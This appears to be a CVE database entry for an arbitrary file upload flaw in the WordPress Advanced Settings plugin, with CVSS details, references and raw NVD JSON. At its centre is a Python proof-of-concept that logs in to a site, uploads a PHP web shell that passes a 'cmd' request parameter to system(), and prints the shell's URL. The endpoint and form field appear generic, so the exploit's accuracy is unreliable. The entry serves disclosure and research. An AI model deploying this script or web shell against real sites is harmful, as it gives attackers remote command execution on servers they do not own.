CVE-2025-58996

Description

Unrestricted Upload of File with Dangerous Type vulnerability in Helmut Wandl Advanced Settings advanced-settings allows Upload a Web Shell to a Web Server.This issue affects Advanced Settings: from n/a through <= 3.1.1.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Advanced Settings <= 3.1.1（所有版本）

WordPress（所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-58996 PoC - WordPress Advanced Settings Plugin <= 3.1.1 Arbitrary File Upload
# Target: WordPress site with Advanced Settings plugin installed

def upload_webshell(target_url, username, password):
    """
    Upload a webshell via Advanced Settings plugin vulnerable endpoint
    """
    # Login to WordPress
    login_url = target_url + '/wp-login.php'
    session = requests.Session()
    
    login_data = {
        'log': username,
        'pwd': password,
        'wp-submit': 'Log In',
        'redirect_to': '/wp-admin/',
        'testcookie': '1'
    }
    
    session.post(login_url, data=login_data)
    
    # Upload webshell via plugin endpoint
    upload_url = target_url + '/wp-admin/admin.php?page=advanced-settings'
    
    webshell_content = '''<?php
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    $cmd = $_REQUEST['cmd'];
    system($cmd);
    echo "</pre>";
}
?>'''
    
    files = {
        'upload_file': ('shell.php', webshell_content, 'application/x-php')
    }
    
    response = session.post(upload_url, files=files)
    
    if response.status_code == 200:
        print('[+] Webshell uploaded successfully!')
        print('[+] Access: ' + target_url + '/wp-content/uploads/shell.php?cmd=whoami')
    else:
        print('[-] Upload failed')

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print('Usage: python cve-2025-58996.py <target_url> <username> <password>')
        sys.exit(1)
    
    upload_webshell(sys.argv[1], sys.argv[2], sys.argv[3])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58996
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58996
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58996/
[4] VulDB https://vuldb.com/cve/CVE-2025-58996
[5] https://patchstack.com/database/Wordpress/Plugin/advanced-settings/vulnerability/wordpress-advanced-settings-plugin-3-1-1-arbitrary-file-upload-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-58996", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:01.140", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in Helmut Wandl Advanced Settings advanced-settings allows Upload a Web Shell to a Web Server.This issue affects Advanced Settings: from n/a through <= 3.1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/advanced-settings/vulnerability/wordpress-advanced-settings-plugin-3-1-1-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}